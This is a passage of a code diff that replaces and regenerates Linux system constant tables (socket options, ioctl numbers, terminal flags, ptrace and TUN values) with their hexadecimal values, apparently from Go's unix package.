-- SIOCGARP = 0x8954
-- SIOCGHWTSTAMP = 0x89b1
-- SIOCGIFADDR = 0x8915
-- SIOCGIFBR = 0x8940
-- SIOCGIFBRDADDR = 0x8919
-- SIOCGIFCONF = 0x8912
-- SIOCGIFCOUNT = 0x8938
-- SIOCGIFDSTADDR = 0x8917
-- SIOCGIFENCAP = 0x8925
-- SIOCGIFFLAGS = 0x8913
-- SIOCGIFHWADDR = 0x8927
-- SIOCGIFINDEX = 0x8933
-- SIOCGIFMAP = 0x8970
-- SIOCGIFMEM = 0x891f
-- SIOCGIFMETRIC = 0x891d
-- SIOCGIFMTU = 0x8921
-- SIOCGIFNAME = 0x8910
-- SIOCGIFNETMASK = 0x891b
-- SIOCGIFPFLAGS = 0x8935
-- SIOCGIFSLAVE = 0x8929
-- SIOCGIFTXQLEN = 0x8942
-- SIOCGIFVLAN = 0x8982
-- SIOCGMIIPHY = 0x8947
-- SIOCGMIIREG = 0x8948
-- SIOCGPGRP = 0x8904
-- SIOCGRARP = 0x8961
-- SIOCGSKNS = 0x894c
-- SIOCGSTAMP = 0x8906
-- SIOCGSTAMPNS = 0x8907
-- SIOCINQ = 0x541b
-- SIOCOUTQ = 0x5411
-- SIOCOUTQNSD = 0x894b
-- SIOCPROTOPRIVATE = 0x89e0
-- SIOCRTMSG = 0x890d
-- SIOCSARP = 0x8955
-- SIOCSHWTSTAMP = 0x89b0
-- SIOCSIFADDR = 0x8916
-- SIOCSIFBR = 0x8941
-- SIOCSIFBRDADDR = 0x891a
-- SIOCSIFDSTADDR = 0x8918
-- SIOCSIFENCAP = 0x8926
-- SIOCSIFFLAGS = 0x8914
-- SIOCSIFHWADDR = 0x8924
-- SIOCSIFHWBROADCAST = 0x8937
-- SIOCSIFLINK = 0x8911
-- SIOCSIFMAP = 0x8971
-- SIOCSIFMEM = 0x8920
-- SIOCSIFMETRIC = 0x891e
-- SIOCSIFMTU = 0x8922
-- SIOCSIFNAME = 0x8923
-- SIOCSIFNETMASK = 0x891c
-- SIOCSIFPFLAGS = 0x8934
-- SIOCSIFSLAVE = 0x8930
-- SIOCSIFTXQLEN = 0x8943
-- SIOCSIFVLAN = 0x8983
-- SIOCSMIIREG = 0x8949
-- SIOCSPGRP = 0x8902
-- SIOCSRARP = 0x8962
-- SIOCWANDEV = 0x894a
-- SOCK_CLOEXEC = 0x80000
-- SOCK_DCCP = 0x6
-- SOCK_DGRAM = 0x2
-- SOCK_IOC_TYPE = 0x89
-- SOCK_NONBLOCK = 0x800
-- SOCK_PACKET = 0xa
-- SOCK_RAW = 0x3
-- SOCK_RDM = 0x4
-- SOCK_SEQPACKET = 0x5
-- SOCK_STREAM = 0x1
-- SOL_AAL = 0x109
-- SOL_ALG = 0x117
-- SOL_ATM = 0x108
-- SOL_CAIF = 0x116
-- SOL_CAN_BASE = 0x64
-- SOL_DCCP = 0x10d
-- SOL_DECNET = 0x105
-- SOL_ICMPV6 = 0x3a
-- SOL_IP = 0x0
-- SOL_IPV6 = 0x29
-- SOL_IRDA = 0x10a
-- SOL_IUCV = 0x115
-- SOL_KCM = 0x119
-- SOL_LLC = 0x10c
-- SOL_NETBEUI = 0x10b
-- SOL_NETLINK = 0x10e
-- SOL_NFC = 0x118
-- SOL_PACKET = 0x107
-- SOL_PNPIPE = 0x113
-- SOL_PPPOL2TP = 0x111
-- SOL_RAW = 0xff
-- SOL_RDS = 0x114
-- SOL_RXRPC = 0x110
-- SOL_SOCKET = 0x1
-- SOL_TCP = 0x6
-- SOL_TIPC = 0x10f
-- SOL_X25 = 0x106
-- SOMAXCONN = 0x80
-- SO_ACCEPTCONN = 0x1e
-- SO_ATTACH_BPF = 0x32
-- SO_ATTACH_FILTER = 0x1a
-- SO_ATTACH_REUSEPORT_CBPF = 0x33
-- SO_ATTACH_REUSEPORT_EBPF = 0x34
-- SO_BINDTODEVICE = 0x19
-- SO_BPF_EXTENSIONS = 0x30
-- SO_BROADCAST = 0x6
-- SO_BSDCOMPAT = 0xe
-- SO_BUSY_POLL = 0x2e
-- SO_CNX_ADVICE = 0x35
-- SO_DEBUG = 0x1
-- SO_DETACH_BPF = 0x1b
-- SO_DETACH_FILTER = 0x1b
-- SO_DOMAIN = 0x27
-- SO_DONTROUTE = 0x5
-- SO_ERROR = 0x4
-- SO_GET_FILTER = 0x1a
-- SO_INCOMING_CPU = 0x31
-- SO_KEEPALIVE = 0x9
-- SO_LINGER = 0xd
-- SO_LOCK_FILTER = 0x2c
-- SO_MARK = 0x24
-- SO_MAX_PACING_RATE = 0x2f
-- SO_NOFCS = 0x2b
-- SO_NO_CHECK = 0xb
-- SO_OOBINLINE = 0xa
-- SO_PASSCRED = 0x10
-- SO_PASSSEC = 0x22
-- SO_PEEK_OFF = 0x2a
-- SO_PEERCRED = 0x11
-- SO_PEERNAME = 0x1c
-- SO_PEERSEC = 0x1f
-- SO_PRIORITY = 0xc
-- SO_PROTOCOL = 0x26
-- SO_RCVBUF = 0x8
-- SO_RCVBUFFORCE = 0x21
-- SO_RCVLOWAT = 0x12
-- SO_RCVTIMEO = 0x14
-- SO_REUSEADDR = 0x2
-- SO_REUSEPORT = 0xf
-- SO_RXQ_OVFL = 0x28
-- SO_SECURITY_AUTHENTICATION = 0x16
-- SO_SECURITY_ENCRYPTION_NETWORK = 0x18
-- SO_SECURITY_ENCRYPTION_TRANSPORT = 0x17
-- SO_SELECT_ERR_QUEUE = 0x2d
-- SO_SNDBUF = 0x7
-- SO_SNDBUFFORCE = 0x20
-- SO_SNDLOWAT = 0x13
-- SO_SNDTIMEO = 0x15
-- SO_TIMESTAMP = 0x1d
-- SO_TIMESTAMPING = 0x25
-- SO_TIMESTAMPNS = 0x23
-- SO_TYPE = 0x3
-- SO_VM_SOCKETS_BUFFER_MAX_SIZE = 0x2
-- SO_VM_SOCKETS_BUFFER_MIN_SIZE = 0x1
-- SO_VM_SOCKETS_BUFFER_SIZE = 0x0
-- SO_VM_SOCKETS_CONNECT_TIMEOUT = 0x6
-- SO_VM_SOCKETS_NONBLOCK_TXRX = 0x7
-- SO_VM_SOCKETS_PEER_HOST_VM_ID = 0x3
-- SO_VM_SOCKETS_TRUSTED = 0x5
-- SO_WIFI_STATUS = 0x29
-- SPLICE_F_GIFT = 0x8
-- SPLICE_F_MORE = 0x4
-- SPLICE_F_MOVE = 0x1
-- SPLICE_F_NONBLOCK = 0x2
-- S_BLKSIZE = 0x200
-- S_IEXEC = 0x40
-- S_IFBLK = 0x6000
-- S_IFCHR = 0x2000
-- S_IFDIR = 0x4000
-- S_IFIFO = 0x1000
-- S_IFLNK = 0xa000
-- S_IFMT = 0xf000
-- S_IFREG = 0x8000
-- S_IFSOCK = 0xc000
-- S_IREAD = 0x100
-- S_IRGRP = 0x20
-- S_IROTH = 0x4
-- S_IRUSR = 0x100
-- S_IRWXG = 0x38
-- S_IRWXO = 0x7
-- S_IRWXU = 0x1c0
-- S_ISGID = 0x400
-- S_ISUID = 0x800
-- S_ISVTX = 0x200
-- S_IWGRP = 0x10
-- S_IWOTH = 0x2
-- S_IWRITE = 0x80
-- S_IWUSR = 0x80
-- S_IXGRP = 0x8
-- S_IXOTH = 0x1
-- S_IXUSR = 0x40
-- TAB0 = 0x0
-- TAB1 = 0x800
-- TAB2 = 0x1000
-- TAB3 = 0x1800
-- TABDLY = 0x1800
-- TASKSTATS_CMD_ATTR_MAX = 0x4
-- TASKSTATS_CMD_MAX = 0x2
-- TASKSTATS_GENL_NAME = "TASKSTATS"
-- TASKSTATS_GENL_VERSION = 0x1
-- TASKSTATS_TYPE_MAX = 0x6
-- TASKSTATS_VERSION = 0x8
-- TCFLSH = 0x540b
-- TCGETA = 0x5405
-- TCGETS = 0x5401
-- TCGETS2 = 0x802c542a
-- TCGETX = 0x5432
-- TCIFLUSH = 0x0
-- TCIOFF = 0x2
-- TCIOFLUSH = 0x2
-- TCION = 0x3
-- TCOFLUSH = 0x1
-- TCOOFF = 0x0
-- TCOON = 0x1
-- TCP_CC_INFO = 0x1a
-- TCP_CONGESTION = 0xd
-- TCP_COOKIE_IN_ALWAYS = 0x1
-- TCP_COOKIE_MAX = 0x10
-- TCP_COOKIE_MIN = 0x8
-- TCP_COOKIE_OUT_NEVER = 0x2
-- TCP_COOKIE_PAIR_SIZE = 0x20
-- TCP_COOKIE_TRANSACTIONS = 0xf
-- TCP_CORK = 0x3
-- TCP_DEFER_ACCEPT = 0x9
-- TCP_FASTOPEN = 0x17
-- TCP_INFO = 0xb
-- TCP_KEEPCNT = 0x6
-- TCP_KEEPIDLE = 0x4
-- TCP_KEEPINTVL = 0x5
-- TCP_LINGER2 = 0x8
-- TCP_MAXSEG = 0x2
-- TCP_MAXWIN = 0xffff
-- TCP_MAX_WINSHIFT = 0xe
-- TCP_MD5SIG = 0xe
-- TCP_MD5SIG_MAXKEYLEN = 0x50
-- TCP_MSS = 0x200
-- TCP_MSS_DEFAULT = 0x218
-- TCP_MSS_DESIRED = 0x4c4
-- TCP_NODELAY = 0x1
-- TCP_NOTSENT_LOWAT = 0x19
-- TCP_QUEUE_SEQ = 0x15
-- TCP_QUICKACK = 0xc
-- TCP_REPAIR = 0x13
-- TCP_REPAIR_OPTIONS = 0x16
-- TCP_REPAIR_QUEUE = 0x14
-- TCP_REPAIR_WINDOW = 0x1d
-- TCP_SAVED_SYN = 0x1c
-- TCP_SAVE_SYN = 0x1b
-- TCP_SYNCNT = 0x7
-- TCP_S_DATA_IN = 0x4
-- TCP_S_DATA_OUT = 0x8
-- TCP_THIN_DUPACK = 0x11
-- TCP_THIN_LINEAR_TIMEOUTS = 0x10
-- TCP_TIMESTAMP = 0x18
-- TCP_USER_TIMEOUT = 0x12
-- TCP_WINDOW_CLAMP = 0xa
-- TCSAFLUSH = 0x2
-- TCSBRK = 0x5409
-- TCSBRKP = 0x5425
-- TCSETA = 0x5406
-- TCSETAF = 0x5408
-- TCSETAW = 0x5407
-- TCSETS = 0x5402
-- TCSETS2 = 0x402c542b
-- TCSETSF = 0x5404
-- TCSETSF2 = 0x402c542d
-- TCSETSW = 0x5403
-- TCSETSW2 = 0x402c542c
-- TCSETX = 0x5433
-- TCSETXF = 0x5434
-- TCSETXW = 0x5435
-- TCXONC = 0x540a
-- TIOCCBRK = 0x5428
-- TIOCCONS = 0x541d
-- TIOCEXCL = 0x540c
-- TIOCGDEV = 0x80045432
-- TIOCGETD = 0x5424
-- TIOCGEXCL = 0x80045440
-- TIOCGICOUNT = 0x545d
-- TIOCGLCKTRMIOS = 0x5456
-- TIOCGPGRP = 0x540f
-- TIOCGPKT = 0x80045438
-- TIOCGPTLCK = 0x80045439
-- TIOCGPTN = 0x80045430
-- TIOCGRS485 = 0x542e
-- TIOCGSERIAL = 0x541e
-- TIOCGSID = 0x5429
-- TIOCGSOFTCAR = 0x5419
-- TIOCGWINSZ = 0x5413
-- TIOCINQ = 0x541b
-- TIOCLINUX = 0x541c
-- TIOCMBIC = 0x5417
-- TIOCMBIS = 0x5416
-- TIOCMGET = 0x5415
-- TIOCMIWAIT = 0x545c
-- TIOCMSET = 0x5418
-- TIOCM_CAR = 0x40
-- TIOCM_CD = 0x40
-- TIOCM_CTS = 0x20
-- TIOCM_DSR = 0x100
-- TIOCM_DTR = 0x2
-- TIOCM_LE = 0x1
-- TIOCM_RI = 0x80
-- TIOCM_RNG = 0x80
-- TIOCM_RTS = 0x4
-- TIOCM_SR = 0x10
-- TIOCM_ST = 0x8
-- TIOCNOTTY = 0x5422
-- TIOCNXCL = 0x540d
-- TIOCOUTQ = 0x5411
-- TIOCPKT = 0x5420
-- TIOCPKT_DATA = 0x0
-- TIOCPKT_DOSTOP = 0x20
-- TIOCPKT_FLUSHREAD = 0x1
-- TIOCPKT_FLUSHWRITE = 0x2
-- TIOCPKT_IOCTL = 0x40
-- TIOCPKT_NOSTOP = 0x10
-- TIOCPKT_START = 0x8
-- TIOCPKT_STOP = 0x4
-- TIOCSBRK = 0x5427
-- TIOCSCTTY = 0x540e
-- TIOCSERCONFIG = 0x5453
-- TIOCSERGETLSR = 0x5459
-- TIOCSERGETMULTI = 0x545a
-- TIOCSERGSTRUCT = 0x5458
-- TIOCSERGWILD = 0x5454
-- TIOCSERSETMULTI = 0x545b
-- TIOCSERSWILD = 0x5455
-- TIOCSER_TEMT = 0x1
-- TIOCSETD = 0x5423
-- TIOCSIG = 0x40045436
-- TIOCSLCKTRMIOS = 0x5457
-- TIOCSPGRP = 0x5410
-- TIOCSPTLCK = 0x40045431
-- TIOCSRS485 = 0x542f
-- TIOCSSERIAL = 0x541f
-- TIOCSSOFTCAR = 0x541a
-- TIOCSTI = 0x5412
-- TIOCSWINSZ = 0x5414
-- TIOCVHANGUP = 0x5437
-- TOSTOP = 0x100
-- TS_COMM_LEN = 0x20
-- TUNATTACHFILTER = 0x400854d5
-- TUNDETACHFILTER = 0x400854d6
-- TUNGETFEATURES = 0x800454cf
-- TUNGETFILTER = 0x800854db
-- TUNGETIFF = 0x800454d2
-- TUNGETSNDBUF = 0x800454d3
-- TUNGETVNETBE = 0x800454df
-- TUNGETVNETHDRSZ = 0x800454d7
-- TUNGETVNETLE = 0x800454dd
-- TUNSETDEBUG = 0x400454c9
-- TUNSETGROUP = 0x400454ce
-- TUNSETIFF = 0x400454ca
-- TUNSETIFINDEX = 0x400454da
-- TUNSETLINK = 0x400454cd
-- TUNSETNOCSUM = 0x400454c8
-- TUNSETOFFLOAD = 0x400454d0
-- TUNSETOWNER = 0x400454cc
-- TUNSETPERSIST = 0x400454cb
-- TUNSETQUEUE = 0x400454d9
-- TUNSETSNDBUF = 0x400454d4
-- TUNSETTXFILTER = 0x400454d1
-- TUNSETVNETBE = 0x400454de
-- TUNSETVNETHDRSZ = 0x400454d8
-- TUNSETVNETLE = 0x400454dc
-- UMOUNT_NOFOLLOW = 0x8
-- VDISCARD = 0xd
-- VEOF = 0x4
-- VEOL = 0xb
-- VEOL2 = 0x10
-- VERASE = 0x2
-- VINTR = 0x0
-- VKILL = 0x3
-- VLNEXT = 0xf
-- VMADDR_CID_ANY = 0xffffffff
-- VMADDR_CID_HOST = 0x2
-- VMADDR_CID_HYPERVISOR = 0x0
-- VMADDR_CID_RESERVED = 0x1
-- VMADDR_PORT_ANY = 0xffffffff
-- VMIN = 0x6
-- VM_SOCKETS_INVALID_VERSION = 0xffffffff
-- VQUIT = 0x1
-- VREPRINT = 0xc
-- VSTART = 0x8
-- VSTOP = 0x9
-- VSUSP = 0xa
-- VSWTC = 0x7
-- VT0 = 0x0
-- VT1 = 0x4000
-- VTDLY = 0x4000
-- VTIME = 0x5
-- VWERASE = 0xe
-- WALL = 0x40000000
-- WCLONE = 0x80000000
-- WCONTINUED = 0x8
-- WEXITED = 0x4
-- WNOHANG = 0x1
-- WNOTHREAD = 0x20000000
-- WNOWAIT = 0x1000000
-- WORDSIZE = 0x20
-- WSTOPPED = 0x2
-- WUNTRACED = 0x2
-- XATTR_CREATE = 0x1
-- XATTR_REPLACE = 0x2
-- XCASE = 0x4
-- XTABS = 0x1800
-+ B1000000 = 0x1008
-+ B115200 = 0x1002
-+ B1152000 = 0x1009
-+ B1500000 = 0x100a
-+ B2000000 = 0x100b
-+ B230400 = 0x1003
-+ B2500000 = 0x100c
-+ B3000000 = 0x100d
-+ B3500000 = 0x100e
-+ B4000000 = 0x100f
-+ B460800 = 0x1004
-+ B500000 = 0x1005
-+ B57600 = 0x1001
-+ B576000 = 0x1006
-+ B921600 = 0x1007
-+ BLKBSZGET = 0x80041270
-+ BLKBSZSET = 0x40041271
-+ BLKFLSBUF = 0x1261
-+ BLKFRAGET = 0x1265
-+ BLKFRASET = 0x1264
-+ BLKGETSIZE = 0x1260
-+ BLKGETSIZE64 = 0x80041272
-+ BLKPBSZGET = 0x127b
-+ BLKRAGET = 0x1263
-+ BLKRASET = 0x1262
-+ BLKROGET = 0x125e
-+ BLKROSET = 0x125d
-+ BLKRRPART = 0x125f
-+ BLKSECTGET = 0x1267
-+ BLKSECTSET = 0x1266
-+ BLKSSZGET = 0x1268
-+ BOTHER = 0x1000
-+ BS1 = 0x2000
-+ BSDLY = 0x2000
-+ CBAUD = 0x100f
-+ CBAUDEX = 0x1000
-+ CIBAUD = 0x100f0000
-+ CLOCAL = 0x800
-+ CR1 = 0x200
-+ CR2 = 0x400
-+ CR3 = 0x600
-+ CRDLY = 0x600
-+ CREAD = 0x80
-+ CS6 = 0x10
-+ CS7 = 0x20
-+ CS8 = 0x30
-+ CSIZE = 0x30
-+ CSTOPB = 0x40
-+ ECHOCTL = 0x200
-+ ECHOE = 0x10
-+ ECHOK = 0x20
-+ ECHOKE = 0x800
-+ ECHONL = 0x40
-+ ECHOPRT = 0x400
-+ EFD_CLOEXEC = 0x80000
-+ EFD_NONBLOCK = 0x800
-+ EPOLL_CLOEXEC = 0x80000
-+ EXTPROC = 0x10000
-+ FF1 = 0x8000
-+ FFDLY = 0x8000
-+ FLUSHO = 0x1000
-+ FP_XSTATE_MAGIC2 = 0x46505845
-+ FS_IOC_ENABLE_VERITY = 0x40806685
-+ FS_IOC_GETFLAGS = 0x80046601
-+ FS_IOC_GET_ENCRYPTION_POLICY = 0x400c6615
-+ FS_IOC_GET_ENCRYPTION_PWSALT = 0x40106614
-+ FS_IOC_SET_ENCRYPTION_POLICY = 0x800c6613
-+ F_GETLK = 0xc
-+ F_GETLK64 = 0xc
-+ F_GETOWN = 0x9
-+ F_RDLCK = 0x0
-+ F_SETLK = 0xd
-+ F_SETLK64 = 0xd
-+ F_SETLKW = 0xe
-+ F_SETLKW64 = 0xe
-+ F_SETOWN = 0x8
-+ F_UNLCK = 0x2
-+ F_WRLCK = 0x1
-+ HUPCL = 0x400
-+ ICANON = 0x2
-+ IEXTEN = 0x8000
-+ IN_CLOEXEC = 0x80000
-+ IN_NONBLOCK = 0x800
-+ IOCTL_VM_SOCKETS_GET_LOCAL_CID = 0x7b9
-+ ISIG = 0x1
-+ IUCLC = 0x200
-+ IXOFF = 0x1000
-+ IXON = 0x400
-+ MAP_32BIT = 0x40
-+ MAP_ANON = 0x20
-+ MAP_ANONYMOUS = 0x20
-+ MAP_DENYWRITE = 0x800
-+ MAP_EXECUTABLE = 0x1000
-+ MAP_GROWSDOWN = 0x100
-+ MAP_HUGETLB = 0x40000
-+ MAP_LOCKED = 0x2000
-+ MAP_NONBLOCK = 0x10000
-+ MAP_NORESERVE = 0x4000
-+ MAP_POPULATE = 0x8000
-+ MAP_STACK = 0x20000
-+ MAP_SYNC = 0x80000
-+ MCL_CURRENT = 0x1
-+ MCL_FUTURE = 0x2
-+ MCL_ONFAULT = 0x4
-+ NFDBITS = 0x20
-+ NLDLY = 0x100
-+ NOFLSH = 0x80
-+ NS_GET_NSTYPE = 0xb703
-+ NS_GET_OWNER_UID = 0xb704
-+ NS_GET_PARENT = 0xb702
-+ NS_GET_USERNS = 0xb701
-+ OLCUC = 0x2
-+ ONLCR = 0x4
-+ O_APPEND = 0x400
-+ O_ASYNC = 0x2000
-+ O_CLOEXEC = 0x80000
-+ O_CREAT = 0x40
-+ O_DIRECT = 0x4000
-+ O_DIRECTORY = 0x10000
-+ O_DSYNC = 0x1000
-+ O_EXCL = 0x80
-+ O_FSYNC = 0x101000
-+ O_LARGEFILE = 0x8000
-+ O_NDELAY = 0x800
-+ O_NOATIME = 0x40000
-+ O_NOCTTY = 0x100
-+ O_NOFOLLOW = 0x20000
-+ O_NONBLOCK = 0x800
-+ O_PATH = 0x200000
-+ O_RSYNC = 0x101000
-+ O_SYNC = 0x101000
-+ O_TMPFILE = 0x410000
-+ O_TRUNC = 0x200
-+ PARENB = 0x100
-+ PARODD = 0x200
-+ PENDIN = 0x4000
-+ PERF_EVENT_IOC_DISABLE = 0x2401
-+ PERF_EVENT_IOC_ENABLE = 0x2400
-+ PERF_EVENT_IOC_ID = 0x80042407
-+ PERF_EVENT_IOC_MODIFY_ATTRIBUTES = 0x4004240b
-+ PERF_EVENT_IOC_PAUSE_OUTPUT = 0x40042409
-+ PERF_EVENT_IOC_PERIOD = 0x40082404
-+ PERF_EVENT_IOC_QUERY_BPF = 0xc004240a
-+ PERF_EVENT_IOC_REFRESH = 0x2402
-+ PERF_EVENT_IOC_RESET = 0x2403
-+ PERF_EVENT_IOC_SET_BPF = 0x40042408
-+ PERF_EVENT_IOC_SET_FILTER = 0x40042406
-+ PERF_EVENT_IOC_SET_OUTPUT = 0x2405
-+ PPPIOCATTACH = 0x4004743d
-+ PPPIOCATTCHAN = 0x40047438
-+ PPPIOCCONNECT = 0x4004743a
-+ PPPIOCDETACH = 0x4004743c
-+ PPPIOCDISCONN = 0x7439
-+ PPPIOCGASYNCMAP = 0x80047458
-+ PPPIOCGCHAN = 0x80047437
-+ PPPIOCGDEBUG = 0x80047441
-+ PPPIOCGFLAGS = 0x8004745a
-+ PPPIOCGIDLE = 0x8008743f
-+ PPPIOCGIDLE32 = 0x8008743f
-+ PPPIOCGIDLE64 = 0x8010743f
-+ PPPIOCGL2TPSTATS = 0x80487436
-+ PPPIOCGMRU = 0x80047453
-+ PPPIOCGRASYNCMAP = 0x80047455
-+ PPPIOCGUNIT = 0x80047456
-+ PPPIOCGXASYNCMAP = 0x80207450
-+ PPPIOCSACTIVE = 0x40087446
-+ PPPIOCSASYNCMAP = 0x40047457
-+ PPPIOCSCOMPRESS = 0x400c744d
-+ PPPIOCSDEBUG = 0x40047440
-+ PPPIOCSFLAGS = 0x40047459
-+ PPPIOCSMAXCID = 0x40047451
-+ PPPIOCSMRRU = 0x4004743b
-+ PPPIOCSMRU = 0x40047452
-+ PPPIOCSNPMODE = 0x4008744b
-+ PPPIOCSPASS = 0x40087447
-+ PPPIOCSRASYNCMAP = 0x40047454
-+ PPPIOCSXASYNCMAP = 0x4020744f
-+ PPPIOCXFERUNIT = 0x744e
-+ PR_SET_PTRACER_ANY = 0xffffffff
-+ PTRACE_GETFPREGS = 0xe
-+ PTRACE_GETFPXREGS = 0x12
-+ PTRACE_GET_THREAD_AREA = 0x19
-+ PTRACE_OLDSETOPTIONS = 0x15
-+ PTRACE_SETFPREGS = 0xf
-+ PTRACE_SETFPXREGS = 0x13
-+ PTRACE_SET_THREAD_AREA = 0x1a
-+ PTRACE_SINGLEBLOCK = 0x21
-+ PTRACE_SYSEMU = 0x1f
-+ PTRACE_SYSEMU_SINGLESTEP = 0x20
-+ RLIMIT_AS = 0x9
-+ RLIMIT_MEMLOCK = 0x8
-+ RLIMIT_NOFILE = 0x7
-+ RLIMIT_NPROC = 0x6
-+ RLIMIT_RSS = 0x5
-+ RNDADDENTROPY = 0x40085203
-+ RNDADDTOENTCNT = 0x40045201
-+ RNDCLEARPOOL = 0x5206
-+ RNDGETENTCNT = 0x80045200
-+ RNDGETPOOL = 0x80085202
-+ RNDRESEEDCRNG = 0x5207
-+ RNDZAPENTCNT = 0x5204
-+ RTC_AIE_OFF = 0x7002
-+ RTC_AIE_ON = 0x7001
-+ RTC_ALM_READ = 0x80247008
-+ RTC_ALM_SET = 0x40247007
-+ RTC_EPOCH_READ = 0x8004700d
-+ RTC_EPOCH_SET = 0x4004700e
-+ RTC_IRQP_READ = 0x8004700b
-+ RTC_IRQP_SET = 0x4004700c
-+ RTC_PIE_OFF = 0x7006
-+ RTC_PIE_ON = 0x7005
-+ RTC_PLL_GET = 0x801c7011
-+ RTC_PLL_SET = 0x401c7012
-+ RTC_RD_TIME = 0x80247009
-+ RTC_SET_TIME = 0x4024700a
-+ RTC_UIE_OFF = 0x7004
-+ RTC_UIE_ON = 0x7003
-+ RTC_VL_CLR = 0x7014
-+ RTC_VL_READ = 0x80047013
-+ RTC_WIE_OFF = 0x7010
-+ RTC_WIE_ON = 0x700f
-+ RTC_WKALM_RD = 0x80287010
-+ RTC_WKALM_SET = 0x4028700f
-+ SCM_TIMESTAMPING = 0x25
-+ SCM_TIMESTAMPING_OPT_STATS = 0x36
-+ SCM_TIMESTAMPING_PKTINFO = 0x3a
-+ SCM_TIMESTAMPNS = 0x23
-+ SCM_TXTIME = 0x3d
-+ SCM_WIFI_STATUS = 0x29
-+ SFD_CLOEXEC = 0x80000
-+ SFD_NONBLOCK = 0x800
-+ SIOCATMARK = 0x8905
-+ SIOCGPGRP = 0x8904
-+ SIOCGSTAMPNS_NEW = 0x80108907
-+ SIOCGSTAMP_NEW = 0x80108906
-+ SIOCINQ = 0x541b
-+ SIOCOUTQ = 0x5411
-+ SIOCSPGRP = 0x8902
-+ SOCK_CLOEXEC = 0x80000
-+ SOCK_DGRAM = 0x2
-+ SOCK_NONBLOCK = 0x800
-+ SOCK_STREAM = 0x1
-+ SOL_SOCKET = 0x1
-+ SO_ACCEPTCONN = 0x1e
-+ SO_ATTACH_BPF = 0x32
-+ SO_ATTACH_REUSEPORT_CBPF = 0x33
-+ SO_ATTACH_REUSEPORT_EBPF = 0x34
-+ SO_BINDTODEVICE = 0x19
-+ SO_BINDTOIFINDEX = 0x3e
-+ SO_BPF_EXTENSIONS = 0x30
-+ SO_BROADCAST = 0x6
-+ SO_BSDCOMPAT = 0xe
-+ SO_BUSY_POLL = 0x2e
-+ SO_CNX_ADVICE = 0x35
-+ SO_COOKIE = 0x39
-+ SO_DETACH_REUSEPORT_BPF = 0x44
-+ SO_DOMAIN = 0x27
-+ SO_DONTROUTE = 0x5
-+ SO_ERROR = 0x4
-+ SO_INCOMING_CPU = 0x31
-+ SO_INCOMING_NAPI_ID = 0x38
-+ SO_KEEPALIVE = 0x9
-+ SO_LINGER = 0xd
-+ SO_LOCK_FILTER = 0x2c
-+ SO_MARK = 0x24
-+ SO_MAX_PACING_RATE = 0x2f
-+ SO_MEMINFO = 0x37
-+ SO_NOFCS = 0x2b
-+ SO_OOBINLINE = 0xa
-+ SO_PASSCRED = 0x10
-+ SO_PASSSEC = 0x22
-+ SO_PEEK_OFF = 0x2a
-+ SO_PEERCRED = 0x11
-+ SO_PEERGROUPS = 0x3b
-+ SO_PEERSEC = 0x1f
-+ SO_PROTOCOL = 0x26
-+ SO_RCVBUF = 0x8
-+ SO_RCVBUFFORCE = 0x21
-+ SO_RCVLOWAT = 0x12
-+ SO_RCVTIMEO = 0x14
-+ SO_RCVTIMEO_NEW = 0x42
-+ SO_RCVTIMEO_OLD = 0x14
-+ SO_REUSEADDR = 0x2
-+ SO_REUSEPORT = 0xf
-+ SO_RXQ_OVFL = 0x28
-+ SO_SECURITY_AUTHENTICATION = 0x16
-+ SO_SECURITY_ENCRYPTION_NETWORK = 0x18
-+ SO_SECURITY_ENCRYPTION_TRANSPORT = 0x17
-+ SO_SELECT_ERR_QUEUE = 0x2d
-+ SO_SNDBUF = 0x7
-+ SO_SNDBUFFORCE = 0x20
-+ SO_SNDLOWAT = 0x13
-+ SO_SNDTIMEO = 0x15
-+ SO_SNDTIMEO_NEW = 0x43
-+ SO_SNDTIMEO_OLD = 0x15
-+ SO_TIMESTAMPING = 0x25
-+ SO_TIMESTAMPING_NEW = 0x41
-+ SO_TIMESTAMPING_OLD = 0x25
-+ SO_TIMESTAMPNS = 0x23
-+ SO_TIMESTAMPNS_NEW = 0x40
-+ SO_TIMESTAMPNS_OLD = 0x23
-+ SO_TIMESTAMP_NEW = 0x3f
-+ SO_TXTIME = 0x3d
-+ SO_TYPE = 0x3
-+ SO_WIFI_STATUS = 0x29
-+ SO_ZEROCOPY = 0x3c
-+ TAB1 = 0x800
-+ TAB2 = 0x1000
-+ TAB3 = 0x1800
-+ TABDLY = 0x1800
-+ TCFLSH = 0x540b
-+ TCGETA = 0x5405
-+ TCGETS = 0x5401
-+ TCGETS2 = 0x802c542a
-+ TCGETX = 0x5432
-+ TCSAFLUSH = 0x2
-+ TCSBRK = 0x5409
-+ TCSBRKP = 0x5425
-+ TCSETA = 0x5406
-+ TCSETAF = 0x5408
-+ TCSETAW = 0x5407
-+ TCSETS = 0x5402
-+ TCSETS2 = 0x402c542b
-+ TCSETSF = 0x5404
-+ TCSETSF2 = 0x402c542d
-+ TCSETSW = 0x5403
-+ TCSETSW2 = 0x402c542c
-+ TCSETX = 0x5433
-+ TCSETXF = 0x5434
-+ TCSETXW = 0x5435
-+ TCXONC = 0x540a
-+ TIOCCBRK = 0x5428
-+ TIOCCONS = 0x541d
-+ TIOCEXCL = 0x540c
-+ TIOCGDEV = 0x80045432
-+ TIOCGETD = 0x5424
-+ TIOCGEXCL = 0x80045440
-+ TIOCGICOUNT = 0x545d
-+ TIOCGISO7816 = 0x80285442
-+ TIOCGLCKTRMIOS = 0x5456
-+ TIOCGPGRP = 0x540f
-+ TIOCGPKT = 0x80045438
-+ TIOCGPTLCK = 0x80045439
-+ TIOCGPTN = 0x80045430
-+ TIOCGPTPEER = 0x5441
-+ TIOCGRS485 = 0x542e
-+ TIOCGSERIAL = 0x541e
-+ TIOCGSID = 0x5429
-+ TIOCGSOFTCAR = 0x5419
-+ TIOCGWINSZ = 0x5413
-+ TIOCINQ = 0x541b
-+ TIOCLINUX = 0x541c
-+ TIOCMBIC = 0x5417
-+ TIOCMBIS = 0x5416
-+ TIOCMGET = 0x5415
-+ TIOCMIWAIT = 0x545c
-+ TIOCMSET = 0x5418
-+ TIOCM_CAR = 0x40
-+ TIOCM_CD = 0x40
-+ TIOCM_CTS = 0x20
-+ TIOCM_DSR = 0x100
-+ TIOCM_RI = 0x80
-+ TIOCM_RNG = 0x80
-+ TIOCM_SR = 0x10
-+ TIOCM_ST = 0x8
-+ TIOCNOTTY = 0x5422
-+ TIOCNXCL = 0x540d
-+ TIOCOUTQ = 0x5411
-+ TIOCPKT = 0x5420
-+ TIOCSBRK = 0x5427
-+ TIOCSCTTY = 0x540e
-+ TIOCSERCONFIG = 0x5453
-+ TIOCSERGETLSR = 0x5459
